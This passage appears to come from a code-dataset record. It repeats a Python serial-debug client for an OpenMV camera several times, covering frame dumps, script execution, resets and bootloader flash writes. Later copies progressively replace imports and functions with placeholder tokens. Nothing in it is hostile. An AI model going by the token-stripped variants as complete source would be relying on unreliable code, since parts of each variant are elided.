num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack('HHHH', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\n\ndef set_attr(attr, value):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ATTR_WRITE, 8))\n __serial.write(struct.pack('<II', attr, value))\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\ndef flash_write(buf):\n __serial.write(struct.pack('<I', __BOOTLDR_WRITE) + buf)\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print('usage: pyopenmv.py <port> <script>')\n sys.exit(1)\n with open(sys.argv[2], 'r') as fin:\n buf = fin.read()\n disconnect()\n init(sys.argv[1])\n stop_script()\n exec_script(buf)\n tx_len = tx_buf_len()\n time.sleep(0.25)\n if tx_len:\n print(tx_buf(tx_len).decode())\n disconnect()\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack('HHHH', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\n\ndef set_attr(attr, value):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ATTR_WRITE, 8))\n __serial.write(struct.pack('<II', attr, value))\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\ndef flash_write(buf):\n __serial.write(struct.pack('<I', __BOOTLDR_WRITE) + buf)\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack('HHHH', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\n\ndef set_attr(attr, value):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ATTR_WRITE, 8))\n __serial.write(struct.pack('<II', attr, value))\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack('HHHH', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\n\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 